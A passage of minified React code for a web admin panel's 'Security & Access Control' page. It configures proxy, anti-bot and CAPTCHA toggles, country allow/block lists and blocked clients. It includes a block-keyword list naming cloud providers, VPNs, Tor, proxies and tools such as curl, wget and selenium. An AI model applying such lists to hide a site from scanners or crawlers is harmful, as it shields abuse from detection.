operators). Unblock to allow access again."})]}),o.jsxs(De,{type:"button",variant:"outline",size:"sm",onClick:h,disabled:c,className:"w-full sm:w-auto",children:[o.jsx(bi,{className:`h-4 w-4 mr-2 ${c?"animate-spin":""}`}),"Refresh"]})]}),o.jsx(Zn,{children:c?o.jsx("div",{className:"space-y-2",children:[1,2,3].map(g=>o.jsx(Ee,{className:"h-12 w-full"},g))}):s.length===0?o.jsxs("div",{className:"text-center py-10 text-muted-foreground",children:[o.jsx(co,{className:"h-10 w-10 mx-auto mb-3 opacity-40"}),o.jsx("p",{children:"No blocked clients yet."})]}):o.jsx("div",{className:"rounded-md border overflow-x-auto",children:o.jsxs(Xu,{children:[o.jsx(Wu,{children:o.jsxs($s,{children:[o.jsx(Nt,{children:"Client ID"}),o.jsx(Nt,{children:"IP"}),o.jsx(Nt,{children:"Score"}),o.jsx(Nt,{children:"Verdict"}),o.jsx(Nt,{children:"Reason"}),o.jsx(Nt,{children:"Blocked"}),o.jsx(Nt,{className:"text-right",children:"Action"})]})}),o.jsx(Qu,{children:s.map(g=>o.jsxs($s,{children:[o.jsx(wt,{className:"font-mono text-sm",children:g.unique_id}),o.jsx(wt,{className:"font-mono text-sm",children:g.ip||"—"}),o.jsx(wt,{children:g.bot_score??"—"}),o.jsx(wt,{children:x(g.bot_verdict,g.bot_score)}),o.jsx(wt,{children:o.jsx(Ot,{variant:"outline",children:Oq(g.why)})}),o.jsx(wt,{className:"text-sm text-muted-foreground",children:g.updated_at?new Date(g.updated_at).toLocaleString():"—"}),o.jsx(wt,{className:"text-right",children:o.jsx(De,{type:"button",size:"sm",variant:"outline",disabled:d===g.id,onClick:()=>p(g),children:d===g.id?o.jsx(jn,{className:"h-4 w-4 animate-spin"}):o.jsxs(o.Fragment,{children:[o.jsx(J9,{className:"h-4 w-4 mr-1"}),"Unblock"]})})})]},g.id))})]})})})]})}const tg=Bl,ng=Cu,ag=p5,sg=[{code:"AD",name:"Andorra"},{code:"AE",name:"United Arab Emirates"},{code:"AF",name:"Afghanistan"},{code:"AG",name:"Antigua and Barbuda"},{code:"AI",name:"Anguilla"},{code:"AL",name:"Albania"},{code:"AM",name:"Armenia"},{code:"AO",name:"Angola"},{code:"AQ",name:"Antarctica"},{code:"AR",name:"Argentina"},{code:"AS",name:"American Samoa"},{code:"AT",name:"Austria"},{code:"AU",name:"Australia"},{code:"AW",name:"Aruba"},{code:"AX",name:"Åland Islands"},{code:"AZ",name:"Azerbaijan"},{code:"BA",name:"Bosnia and Herzegovina"},{code:"BB",name:"Barbados"},{code:"BD",name:"Bangladesh"},{code:"BE",name:"Belgium"},{code:"BF",name:"Burkina Faso"},{code:"BG",name:"Bulgaria"},{code:"BH",name:"Bahrain"},{code:"BI",name:"Burundi"},{code:"BJ",name:"Benin"},{code:"BL",name:"Saint Barthélemy"},{code:"BM",name:"Bermuda"},{code:"BN",name:"Brunei"},{code:"BO",name:"Bolivia"},{code:"BQ",name:"Caribbean Netherlands"},{code:"BR",name:"Brazil"},{code:"BS",name:"Bahamas"},{code:"BT",name:"Bhutan"},{code:"BV",name:"Bouvet Island"},{code:"BW",name:"Botswana"},{code:"BY",name:"Belarus"},{code:"BZ",name:"Belize"},{code:"CA",name:"Canada"},{code:"CC",name:"Cocos Islands"},{code:"CD",name:"Democratic Republic of the Congo"},{code:"CF",name:"Central African Republic"},{code:"CG",name:"Republic of the Congo"},{code:"CH",name:"Switzerland"},{code:"CI",name:"Côte d'Ivoire"},{code:"CK",name:"Cook Islands"},{code:"CL",name:"Chile"},{code:"CM",name:"Cameroon"},{code:"CN",name:"China"},{code:"CO",name:"Colombia"},{code:"CR",name:"Costa Rica"},{code:"CU",name:"Cuba"},{code:"CV",name:"Cape Verde"},{code:"CW",name:"Curaçao"},{code:"CX",name:"Christmas Island"},{code:"CY",name:"Cyprus"},{code:"CZ",name:"Czech Republic"},{code:"DE",name:"Germany"},{code:"DJ",name:"Djibouti"},{code:"DK",name:"Denmark"},{code:"DM",name:"Dominica"},{code:"DO",name:"Dominican Republic"},{code:"DZ",name:"Algeria"},{code:"EC",name:"Ecuador"},{code:"EE",name:"Estonia"},{code:"EG",name:"Egypt"},{code:"EH",name:"Western Sahara"},{code:"ER",name:"Eritrea"},{code:"ES",name:"Spain"},{code:"ET",name:"Ethiopia"},{code:"FI",name:"Finland"},{code:"FJ",name:"Fiji"},{code:"FK",name:"Falkland Islands"},{code:"FM",name:"Micronesia"},{code:"FO",name:"Faroe Islands"},{code:"FR",name:"France"},{code:"GA",name:"Gabon"},{code:"GB",name:"United Kingdom"},{code:"GD",name:"Grenada"},{code:"GE",name:"Georgia"},{code:"GF",name:"French Guiana"},{code:"GG",name:"Guernsey"},{code:"GH",name:"Ghana"},{code:"GI",name:"Gibraltar"},{code:"GL",name:"Greenland"},{code:"GM",name:"Gambia"},{code:"GN",name:"Guinea"},{code:"GP",name:"Guadeloupe"},{code:"GQ",name:"Equatorial Guinea"},{code:"GR",name:"Greece"},{code:"GS",name:"South Georgia and the South Sandwich Islands"},{code:"GT",name:"Guatemala"},{code:"GU",name:"Guam"},{code:"GW",name:"Guinea-Bissau"},{code:"GY",name:"Guyana"},{code:"HK",name:"Hong Kong"},{code:"HM",name:"Heard Island and McDonald Islands"},{code:"HN",name:"Honduras"},{code:"HR",name:"Croatia"},{code:"HT",name:"Haiti"},{code:"HU",name:"Hungary"},{code:"ID",name:"Indonesia"},{code:"IE",name:"Ireland"},{code:"IL",name:"Israel"},{code:"IM",name:"Isle of Man"},{code:"IN",name:"India"},{code:"IO",name:"British Indian Ocean Territory"},{code:"IQ",name:"Iraq"},{code:"IR",name:"Iran"},{code:"IS",name:"Iceland"},{code:"IT",name:"Italy"},{code:"JE",name:"Jersey"},{code:"JM",name:"Jamaica"},{code:"JO",name:"Jordan"},{code:"JP",name:"Japan"},{code:"KE",name:"Kenya"},{code:"KG",name:"Kyrgyzstan"},{code:"KH",name:"Cambodia"},{code:"KI",name:"Kiribati"},{code:"KM",name:"Comoros"},{code:"KN",name:"Saint Kitts and Nevis"},{code:"KP",name:"North Korea"},{code:"KR",name:"South Korea"},{code:"KW",name:"Kuwait"},{code:"KY",name:"Cayman Islands"},{code:"KZ",name:"Kazakhstan"},{code:"LA",name:"Laos"},{code:"LB",name:"Lebanon"},{code:"LC",name:"Saint Lucia"},{code:"LI",name:"Liechtenstein"},{code:"LK",name:"Sri Lanka"},{code:"LR",name:"Liberia"},{code:"LS",name:"Lesotho"},{code:"LT",name:"Lithuania"},{code:"LU",name:"Luxembourg"},{code:"LV",name:"Latvia"},{code:"LY",name:"Libya"},{code:"MA",name:"Morocco"},{code:"MC",name:"Monaco"},{code:"MD",name:"Moldova"},{code:"ME",name:"Montenegro"},{code:"MF",name:"Saint Martin"},{code:"MG",name:"Madagascar"},{code:"MH",name:"Marshall Islands"},{code:"MK",name:"North Macedonia"},{code:"ML",name:"Mali"},{code:"MM",name:"Myanmar"},{code:"MN",name:"Mongolia"},{code:"MO",name:"Macao"},{code:"MP",name:"Northern Mariana Islands"},{code:"MQ",name:"Martinique"},{code:"MR",name:"Mauritania"},{code:"MS",name:"Montserrat"},{code:"MT",name:"Malta"},{code:"MU",name:"Mauritius"},{code:"MV",name:"Maldives"},{code:"MW",name:"Malawi"},{code:"MX",name:"Mexico"},{code:"MY",name:"Malaysia"},{code:"MZ",name:"Mozambique"},{code:"NA",name:"Namibia"},{code:"NC",name:"New Caledonia"},{code:"NE",name:"Niger"},{code:"NF",name:"Norfolk Island"},{code:"NG",name:"Nigeria"},{code:"NI",name:"Nicaragua"},{code:"NL",name:"Netherlands"},{code:"NO",name:"Norway"},{code:"NP",name:"Nepal"},{code:"NR",name:"Nauru"},{code:"NU",name:"Niue"},{code:"NZ",name:"New Zealand"},{code:"OM",name:"Oman"},{code:"PA",name:"Panama"},{code:"PE",name:"Peru"},{code:"PF",name:"French Polynesia"},{code:"PG",name:"Papua New Guinea"},{code:"PH",name:"Philippines"},{code:"PK",name:"Pakistan"},{code:"PL",name:"Poland"},{code:"PM",name:"Saint Pierre and Miquelon"},{code:"PN",name:"Pitcairn"},{code:"PR",name:"Puerto Rico"},{code:"PS",name:"Palestine"},{code:"PT",name:"Portugal"},{code:"PW",name:"Palau"},{code:"PY",name:"Paraguay"},{code:"QA",name:"Qatar"},{code:"RE",name:"Réunion"},{code:"RO",name:"Romania"},{code:"RS",name:"Serbia"},{code:"RU",name:"Russia"},{code:"RW",name:"Rwanda"},{code:"SA",name:"Saudi Arabia"},{code:"SB",name:"Solomon Islands"},{code:"SC",name:"Seychelles"},{code:"SD",name:"Sudan"},{code:"SE",name:"Sweden"},{code:"SG",name:"Singapore"},{code:"SH",name:"Saint Helena"},{code:"SI",name:"Slovenia"},{code:"SJ",name:"Svalbard and Jan Mayen"},{code:"SK",name:"Slovakia"},{code:"SL",name:"Sierra Leone"},{code:"SM",name:"San Marino"},{code:"SN",name:"Senegal"},{code:"SO",name:"Somalia"},{code:"SR",name:"Suriname"},{code:"SS",name:"South Sudan"},{code:"ST",name:"São Tomé and Príncipe"},{code:"SV",name:"El Salvador"},{code:"SX",name:"Sint Maarten"},{code:"SY",name:"Syria"},{code:"SZ",name:"Eswatini"},{code:"TC",name:"Turks and Caicos Islands"},{code:"TD",name:"Chad"},{code:"TF",name:"French Southern Territories"},{code:"TG",name:"Togo"},{code:"TH",name:"Thailand"},{code:"TJ",name:"Tajikistan"},{code:"TK",name:"Tokelau"},{code:"TL",name:"Timor-Leste"},{code:"TM",name:"Turkmenistan"},{code:"TN",name:"Tunisia"},{code:"TO",name:"Tonga"},{code:"TR",name:"Turkey"},{code:"TT",name:"Trinidad and Tobago"},{code:"TV",name:"Tuvalu"},{code:"TW",name:"Taiwan"},{code:"TZ",name:"Tanzania"},{code:"UA",name:"Ukraine"},{code:"UG",name:"Uganda"},{code:"UM",name:"United States Minor Outlying Islands"},{code:"US",name:"United States"},{code:"UY",name:"Uruguay"},{code:"UZ",name:"Uzbekistan"},{code:"VA",name:"Vatican City"},{code:"VC",name:"Saint Vincent and the Grenadines"},{code:"VE",name:"Venezuela"},{code:"VG",name:"British Virgin Islands"},{code:"VI",name:"U.S. Virgin Islands"},{code:"VN",name:"Vietnam"},{code:"VU",name:"Vanuatu"},{code:"WF",name:"Wallis and Futuna"},{code:"WS",name:"Samoa"},{code:"YE",name:"Yemen"},{code:"YT",name:"Mayotte"},{code:"ZA",name:"South Africa"},{code:"ZM",name:"Zambia"},{code:"ZW",name:"Zimbabwe"}],Pq=["cloudflare","amazon","google","microsoft","azure","aws","gcp","akamai","fastly","maxcdn","keycdn","cloudfront","digitalocean","linode","vultr","hetzner","ovh","scaleway","contabo","hostgator","godaddy","namecheap","bluehost","siteground","nordvpn","expressvpn","surfshark","cyberghost","purevpn","ipvanish","hotspotshield","tunnelbear","windscribe","protonvpn","mullvad","privado","proxy","tor","proxifier","squid","privoxy","shadowsocks","v2ray","socks5","http-proxy","transparent-proxy","verizon","att","tmobile","sprint","uscellular","metropcs","boost","cricket","straight-talk","tracfone","vodafone","orange","telefonica","deutsche-telekom","ee","three","o2","telenor","telia","swisscom","kpn","proximus","telus","rogers","bell","softbank","ntt","kddi","china-mobile","china-unicom","china-telecom","airtel","reliance","jio","idea","bsnl","telstra","optus","singtel","starhub","comcast","charter","cox","altice","frontier","centurylink","windstream","mediacom","optimum","spectrum","xfinity","fios","bt","virgin-media","sky","talk-talk","plusnet","deutsche-telekom","freenet","1and1","unitymedia","free","sfr","bouygues","telecom-italia","fastweb","tiscali","ziggo","xs4all","tele2","bahnhof","bredband2","telenor","elisa","dna","telia","datacenter","colocation","dedicated-server","shared-hosting","managed-hosting","cdn","edge-server","content-delivery","load-balancer","reverse-proxy","bot","crawler","spider","scraper","headless","selenium","puppeteer","phantomjs","automation","script","api-client","curl","wget","http-client","user-agent-bot"],zq=()=>o.jsxs($t,{className:On,children:[o.jsxs(Ln,{children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-5 w-5"}),o.jsx(Ee,{className:"h-6 w-48"})]}),o.jsx(Ee,{className:"h-4 w-96"})]}),o.jsx(Gt,{children:o.jsx("div",{className:"grid gap-6 md:grid-cols-3",children:[1,2,3].map(e=>o.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-muted/50",children:[o.jsxs("div",{className:"space-y-2 flex-1",children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-4 w-4"}),o.jsx(Ee,{className:"h-4 w-32"})]}),o.jsx(Ee,{className:"h-3 w-24"})]}),o.jsx(Ee,{className:"h-6 w-11 rounded-full"})]},e))})})]}),Vq=()=>o.jsxs($t,{className:On,children:[o.jsx(Ln,{children:o.jsxs("div",{className:"flex items-center justify-between",children:[o.jsxs("div",{children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-5 w-5"}),o.jsx(Ee,{className:"h-6 w-48"})]}),o.jsx(Ee,{className:"h-4 w-80 mt-2"})]}),o.jsx(Ee,{className:"h-8 w-20"})]})}),o.jsxs(Gt,{className:"space-y-4",children:[o.jsxs("div",{className:"flex gap-2",children:[o.jsx(Ee,{className:"h-10 flex-1"}),o.jsx(Ee,{className:"h-10 w-32"})]}),o.jsx("div",{className:"space-y-2",children:[1,2,3].map(e=>o.jsxs("div",{className:"flex items-center justify-between p-2 bg-muted rounded-lg",children:[o.jsx(Ee,{className:"h-4 w-40"}),o.jsx(Ee,{className:"h-8 w-8"})]},e))})]})]}),Uq=()=>o.jsxs($t,{className:On,children:[o.jsxs(Ln,{children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-5 w-5"}),o.jsx(Ee,{className:"h-6 w-64"})]}),o.jsx(Ee,{className:"h-4 w-96 mt-2"})]}),o.jsx(Gt,{children:o.jsxs("div",{className:"space-y-4",children:[o.jsxs("div",{className:"flex gap-2",children:[o.jsx(Ee,{className:"h-10 w-32"}),o.jsx(Ee,{className:"h-10 w-32"})]}),o.jsxs("div",{className:"space-y-4 mt-6",children:[o.jsxs("div",{className:"flex items-center justify-between",children:[o.jsx(Ee,{className:"h-5 w-32"}),o.jsx(Ee,{className:"h-8 w-20"})]}),o.jsxs("div",{className:"flex gap-2",children:[o.jsx(Ee,{className:"h-10 flex-1"}),o.jsx(Ee,{className:"h-10 w-32"})]}),o.jsx("div",{className:"space-y-2",children:[1,2].map(e=>o.jsxs("div",{className:"flex items-center justify-between p-2 bg-muted rounded-lg",children:[o.jsx(Ee,{className:"h-4 w-32"}),o.jsx(Ee,{className:"h-8 w-8"})]},e))})]})]})})]}),Iq=()=>o.jsxs(is,{children:[o.jsxs("div",{className:"flex flex-col gap-4 md:flex-row md:items-center md:justify-between",children:[o.jsxs("div",{className:"space-y-2",children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-6 w-6"}),o.jsx(Ee,{className:"h-8 w-80"})]}),o.jsx(Ee,{className:"h-5 w-96"})]}),o.jsx("div",{className:"flex items-center gap-3",children:o.jsx(Ee,{className:"h-6 w-40"})})]}),o.jsx(Ee,{className:"h-9 w-full max-w-lg"}),o.jsx(zq,{}),o.jsx(Ee,{className:"h-48 w-full rounded-lg"}),o.jsx(Vq,{}),o.jsx(Uq,{}),o.jsxs("div",{className:"flex items-start gap-3 p-4 rounded-lg bg-muted/50",children:[o.jsx(Ee,{className:"h-4 w-4 mt-0.5"}),o.jsxs("div",{className:"space-y-2 flex-1",children:[o.jsx(Ee,{className:"h-4 w-full"}),o.jsx(Ee,{className:"h-4 w-3/4"})]})]}),o.jsxs("div",{className:"flex items-center justify-between pt-6 border-t",children:[o.jsx(Ee,{className:"h-4 w-80"}),o.jsx("div",{className:"flex items-center gap-4",children:o.jsx(Ee,{className:"h-10 w-40"})})]})]});function Hq(){const{success:e,error:t,errorUnlessNotified:n}=yi(),s=Qt(),[i,c]=C.useState(!0),[u,d]=C.useState({proxy_protection:!1,antibots_protection:!1,captcha_protection:!1,countries_mode:"all",allowed_countries:[],blocked_countries:[],blocker_operators:[],allowed_operators:[]}),[m,h]=C.useState(""),[p,x]=C.useState(""),[g,y]=C.useState(""),[w,S]=C.useState(new Date),[N,T]=C.useState(!1),[E,A]=C.useState([]),[j,R]=C.useState([]),[D,k]=C.useState(!1),[B,I]=C.useState(!1),[z,U]=C.useState(null),[$,H]=C.useState([]),[W,se]=C.useState(!1);C.useEffect(()=>{M()},[]);const M=async()=>{c(!0);try{const ae=await s.get("/antibots");ae?.data&&ae.data.length>0&&(d({proxy_protection:ae.data[0].proxy_protection||!1,antibots_protection:ae.data[0].antibots_protection||!1,captcha_protection:ae.data[0].captcha_protection||!1,countries_mode:ae.data[0].countries_mode||"all",allowed_countries:ae.data[0].allowed_countries||[],blocked_countries:ae.data[0].blocked_countries||[],blocker_operators:ae.data[0].blocker_operators||[],allowed_operators:ae.data[0].allowed_operators||[]}),S(new Date(ae.data[0].updated_at)))}catch(ae){n(ae,"Failed to load antibots configuration")}finally{c(!1)}},O=(ae,Ae)=>{d(G=>({...G,[ae]:Ae}))},V=ae=>{d(Ae=>{const G={...Ae,countries_mode:ae};return ae==="all"&&(G.allowed_countries=[],G.blocked_countries=[]),G})},Z=u.countries_mode==="blacklist"?"blocked_countries":"allowed_countries",ce=u.countries_mode==="blacklist"?u.blocked_countries:u.allowed_countries,F=ae=>{const Ae=ae.trim();if(!Ae)return null;const G=Ae.toUpperCase();return G.length===2?G:sg.find(ne=>ne.name.toLowerCase()===Ae.toLowerCase()||ne.code.toLowerCase()===Ae.toLowerCase())?.code??null},P=ae=>{const Ae=Z;d(G=>{const ne=[...G[Ae]||[]];return ae.forEach(Ne=>{const be=F(Ne);be&&!ne.includes(be)&&ne.push(be)}),{...G,[Ae]:ne}})},q=()=>{const ae=F(m);ae&&(P([ae]),h(""))},Y=ae=>{const Ae=Z;d(G=>({...G,[Ae]:(G[Ae]||[]).filter(J=>J!==ae)}))},me=(ae,Ae)=>{const G=Ae==="blocked"?"blocker_operators":"allowed_operators";d(J=>{const Ne=[...(J[G]||[]).map($c)];return ae.forEach(be=>{const Se=$c(be);Se&&!Ne.includes(Se)&&Ne.push(Se)}),{...J,[G]:Ne}})},we=(ae,Ae)=>{me(ae,Ae)},fe=()=>u.countries_mode==="whitelist"&&u.allowed_countries?.length>0?u.allowed_countries:u.countries_mode==="blacklist"&&u.blocked_countries?.length>0?u.blocked_countries:[],ye=async()=>{const ae=fe();if(ae.length===0){t("Select countries first (use Allow only or Block except mode), then fetch operators per country.");return}se(!0);try{const G=(await s.create("/antibots/operators-by-countries",{countries:ae},!1))?.data?.groups||[];H(G),G.length===0?t("No operators found. Wait for visitor traffic or try other countries."):e(`Loaded operators for ${G.length} ${G.length===1?"country":"countries"} from DB-IP.`)}catch(Ae){console.error(Ae),n(Ae,"Failed to load operators from DB-IP")}finally{se(!1)}},Oe=(ae,Ae)=>{const G=Ae==="blocked"?"blocker_operators":"allowed_operators",J=$c(ae);J&&!u[G].includes(J)&&(d(ne=>({...ne,[G]:[...ne[G],J]})),Ae==="blocked"?x(""):y(""))},ke=(ae,Ae)=>{const G=Ae==="blocked"?"blocker_operators":"allowed_operators";d(J=>({...J,[G]:J[G].filter(ne=>ne!==ae)}))},$e=ae=>{d(Ae=>({...Ae,[ae]:[]}))},Xe=ae=>{const Ae=sg.find(G=>G.code===ae);return Ae?`${Ae.name} (${ae})`:ae},pt=ae=>!ae||ae.length<1?[]:sg.filter(G=>(G.name.toLowerCase().includes(ae.toLowerCase())||G.code.toLowerCase().includes(ae.toLowerCase()))&&!ce.includes(G.code)).slice(0,8),Qe=(ae,Ae)=>{if(!ae||ae.length<1)return[];const G=Ae==="blocked"?"blocker_operators":"allowed_operators";return Pq.filter(ne=>ne.toLowerCase().includes(ae.toLowerCase())&&!u[G].includes(ne)).slice(0,8)},nn={all:"All countries allowed (ISO codes only)",whitelist:"Allow only selected countries",blacklist:"Allow all except selected countries"},an=ae=>new Intl.DateTimeFormat("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit"}).format(new Date(ae)),Zt=async ae=>{ae.preventDefault(),T(!0);try{const Ae=await s.create("/antibots",u);Ae?.success?(e("Antibots configuration saved successfully!"),S(new Date)):t(Ae?.message||"Failed to save configuration")}catch(Ae){n(Ae,"Failed to save configuration")}finally{T(!1)}};return i?o.jsx(Iq,{}):o.jsxs(is,{children:[o.jsx(yo,{title:"Security & Access Control",description:"Protection toggles, blocked visitors, country rules, and operator lists",icon:Rl,badge:o.jsxs(Ot,{variant:"outline",className:"flex items-center gap-1.5 text-xs",children:[o.jsx(Fu,{className:"h-3 w-3"}),o.jsxs("span",{className:"truncate max-w-[12rem] sm:max-w-none",children:["Updated ",an(w)]})]})}),o.jsxs("form",{onSubmit:Zt,className:"space-y-3",children:[o.jsxs(Oh,{defaultValue:"protection",className:"w-full space-y-3",children:[o.jsxs(Ku,{className:je(x5,"grid w-full grid-cols-2 h-auto sm:grid-cols-4 sm:h-9"),children:[o.jsxs(vs,{value:"protection",className:gl,children:[o.jsx(Zc,{className:vl}),o.jsx("span",{children:"Protection"})]}),o.jsxs(vs,{value:"blocked",className:gl,children:[o.jsx(fF,{className:vl}),o.jsx("span",{children:"Blocked"})]}),o.jsxs(vs,{value:"countries",className:gl,children:[o.jsx(ul,{className:vl}),o.jsx("span",{children:"Countries"})]}),o.jsxs(vs,{value:"operators",className:gl,children:[o.jsx(dl,{className:vl}),o.jsx("span",{children:"Operators"})]})]}),o.jsx(ys,{value:"protection",className:"space-y-3 mt-0",children:o.jsxs($t,{className:On,children:[o.jsxs(Ln,{className:tg,children:[o.jsxs(Pa,{className:je("flex items-center gap-1.5",F0,"text-base sm:text-lg"),children:[o.jsx(Zc,{className:"h-4 w-4 sm:h-5 sm:w-5 text-primary shrink-0"}),"Protection Features"]}),o.jsx(ro,{className:ag,children:"Enable or disable security protection mechanisms"})]}),o.jsx(Gt,{className:ng,children:o.jsxs("div",{className:"grid gap-3 sm:gap-4 md:grid-cols-3",children:[o.jsxs("div",{className:"flex items-center justify-between p-2 sm:p-3 md:p-4 rounded-lg bg-gradient-to-r from-orange-50 to-orange-100 dark:from-orange-950/30 dark:to-orange-900/30",children:[o.jsxs("div",{className:"space-y-1",children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(yF,{className:"h-4 w-4 text-orange-600"}),o.jsx(Je,{htmlFor:"proxy_protection",className:"font-medium cursor-pointer",children:"Proxy Protection"})]}),o.jsx("p",{className:"text-xs text-muted-foreground",children:"Block VPNs & proxies (works even if Anti-Bot Protection is off)"})]}),o.jsx(jl,{id:"proxy_protection",checked:u.proxy_protection,onCheckedChange:ae=>O("proxy_protection",ae)})]}),o.jsxs("div",{className:"flex items-center justify-between p-2 sm:p-3 md:p-4 rounded-lg bg-gradient-to-r from-blue-50 to-blue-100 dark:from-blue-950/30 dark:to-blue-900/30",children:[o.jsxs("div",{className:"space-y-1",children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(co,{className:"h-4 w-4 text-blue-600"}),o.jsx(Je,{htmlFor:"antibots_protection",className:"font-medium cursor-pointer",children:"Anti-Bot Protection"})]}),o.jsx("p",{className:"text-xs text-muted-foreground",children:"Countries, crawlers, captcha, operators & bot scoring"})]}),o.jsx(jl,{id:"antibots_protection",checked:u.antibots_protection,onCheckedChange:ae=>O("antibots_protection",ae)})]}),o.jsxs("div",{className:"flex items-center justify-between p-2 sm:p-3 md:p-4 rounded-lg bg-gradient-to-r from-green-50 to-green-100 dark:from-green-950/30 dark:to-green-900/30",children:[o.jsxs("div",{className:"space-y-1",children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Sr,{className:"h-4 w-4 text-green-600"}),o.jsx(Je,{htmlFor:"captcha_protection",className:"font-medium cursor-pointer",children:"CAPTCHA Protection"})]}),o.jsx("p",{className:"text-xs text-muted-foreground",children:"Require verification"})]}),o.jsx(jl,{id:"captcha_protection",checked:u.captcha_protection,disabled:!u.antibots_protection,onCheckedChange:ae=>O("captcha_protection",ae)})]})]})})]})}),o.jsx(ys,{value:"blocked",className:"space-y-3 mt-0",children:o.jsx(Lq,{})}),o.jsx(ys,{value:"countries",className:"space-y-3 mt-0",children:o.jsxs($t,{className:On,children:[o.jsx(Ln,{className:tg,children:o.jsxs("div",{className:"flex flex-col gap-3 sm:flex-row sm:items-start sm:justify-between",children:[o.jsxs("div",{className:"min-w-0",children:[o.jsxs(Pa,{className:je("flex items-center gap-1.5",F0,"text-base sm:text-lg"),children:[o.jsx(ul,{className:"h-4 w-4 sm:h-5 sm:w-5 text-primary shrink-0"}),"Country Access (",ce?.length||0,")"]}),o.jsx(ro,{className:ag,children:u.antibots_protection?nn[u.countries_mode]||nn.all:"Country rules are off while Anti-Bot Protection is disabled"})]}),o.jsx("div",{className:"flex gap-2 shrink-0",children:u.countries_mode!=="all"&&ce?.length>0&&o.jsxs(De,{type:"button",variant:"outline",size:"sm",onClick:()=>$e(Z),className:"text-red-600 hover:text-red-700 w-full sm:w-auto",children:[o.jsx(Fa,{className:"h-4 w-4 mr-2"}),"Clear All"]})})]})}),o.jsxs(Gt,{className:je(ng,"space-y-2 sm:space-y-3"),children:[o.jsx("div",{className:"grid grid-cols-3 gap-1 sm:gap-2",children:[{value:"all",label:"All countries",short:"All",icon:ul},{value:"whitelist",label:"Allow only",short:"Only",icon:G0},{value:"blacklist",label:"Block except",short:"Except",icon:Ng}].map(ae=>{const Ae=ae.icon;return o.jsxs(De,{type:"button",variant:u.countries_mode===ae.value?"default":"outline",size:"sm",className:"flex flex-col items-center justify-center gap-0.5 h-auto min-h-[2.5rem] py-1.5 px-1 text-[10px] leading-tight sm:flex-row sm:justify-start sm:gap-2 sm:h-9 sm:py-2 sm:px-3 sm:text-xs",onClick:()=>V(ae.value),title:ae.label,children:[o.jsx(Ae,{className:"h-3.5 w-3.5 sm:h-4 sm:w-4 shrink-0"}),o.jsx("span",{className:"sm:hidden",children:ae.short}),o.jsx("span",{className:"hidden sm:inline",children:ae.label})]},ae.value)})}),u.countries_mode!=="all"&&o.jsxs(o.Fragment,{children:[o.jsx("div",{className:"relative",children:o.jsxs("div",{className:Kx,children:[o.jsxs("div",{className:Xx,children:[o.jsx(qt,{placeholder:"Country code or name (US, MA…)",value:m,onChange:ae=>{h(ae.target.value);const Ae=pt(ae.target.value);A(Ae),k(Ae.length>0)},onKeyPress:ae=>{ae.key==="Enter"&&(ae.preventDefault(),q(),k(!1))},onFocus:()=>{if(m){const ae=pt(m);A(ae),k(ae.length>0)}},onBlur:()=>{setTimeout(()=>k(!1),200)}}),D&&E.length>0&&o.jsx("div",{className:"absolute top-full left-0 right-0 z-10 mt-1 bg-background border border-border rounded-md shadow-lg max-h-40 overflow-y-auto",children:E.map(ae=>o.jsxs("button",{type:"button",className:"w-full px-3 py-2 text-left hover:bg-muted transition-colors flex items-center justify-between",onClick:()=>{h(ae.code),k(!1),P([ae.code]),h("")},children:[o.jsx("span",{className:"font-medium",children:ae.name}),o.jsx(Ot,{variant:"secondary",className:"text-xs",children:ae.code})]},ae.code))})]}),o.jsxs(De,{type:"button",onClick:q,size:"sm",disabled:!m.trim(),className:Wx,children:[o.jsx(li,{className:"h-4 w-4 mr-2"}),"Add Country"]})]})}),o.jsx(eg,{label:"Bulk add countries (codes or names, comma or new line)",placeholder:"US, FR, Germany, MA, ES",transformItem:ae=>ae,onAddItems:ae=>P(ae)}),o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-sm font-medium",children:"Quick add region packs:"}),o.jsx("div",{className:"flex flex-wrap gap-2",children:Dq.map(ae=>o.jsxs(De,{type:"button",variant:"outline",size:"sm",className:"text-xs",onClick:()=>P(ae.codes),children:["+ ",ae.label]},ae.label))})]}),o.jsx("div",{className:"space-y-2",children:ce?.length>0?o.jsx("div",{className:"grid gap-2",children:ce.map(ae=>o.jsxs("div",{className:"flex items-center justify-between p-2 bg-muted rounded-lg",children:[o.jsx("span",{className:"font-medium",children:Xe(ae)}),o.jsx(De,{type:"button",variant:"ghost",size:"sm",onClick:()=>Y(ae),className:"text-red-600 hover:text-red-700",children:o.jsx(Fa,{className:"h-4 w-4"})})]},ae))}):o.jsxs("div",{className:"text-center py-8 text-muted-foreground",children:[o.jsx(ul,{className:"h-12 w-12 mx-auto mb-3 opacity-50"}),o.jsx("p",{children:u.countries_mode==="whitelist"?"No countries in allow list — all traffic will be blocked until you add at least one.":"No countries in block list — all countries are allowed."})]})})]}),!u.antibots_protection&&o.jsx(io,{children:o.jsx(oo,{children:"Enable Anti-Bot Protection to enforce country ISO rules. Operator rules use the same toggle."})}),u.antibots_protection&&u.countries_mode==="all"&&o.jsx(io,{children:o.jsx(oo,{children:"All country ISO codes are allowed. Operator lists are configured separately below."})})]})]})}),o.jsxs(ys,{value:"operators",className:"space-y-3 mt-0",children:[o.jsxs($t,{className:On,children:[o.jsxs(Ln,{className:tg,children:[o.jsxs(Pa,{className:je("flex items-center gap-1.5",F0,"text-base sm:text-lg"),children:[o.jsx(dl,{className:"h-4 w-4 sm:h-5 sm:w-5 text-primary shrink-0"}),"Network Operators Management"]}),o.jsx(ro,{className:ag,children:"Control access by ISP/operator keywords. Enforced only when Anti-Bot Protection is enabled."})]}),o.jsx(Gt,{className:ng,children:o.jsx(kq,{blockedCount:u.blocker_operators?.length||0,allowedCount:u.allowed_operators?.length||0,blockedContent:o.jsxs(o.Fragment,{children:[o.jsxs("div",{className:"flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between",children:[o.jsx(Je,{className:"text-sm sm:text-base font-medium",children:"Blocked Operators"}),o.jsx("div",{className:"flex 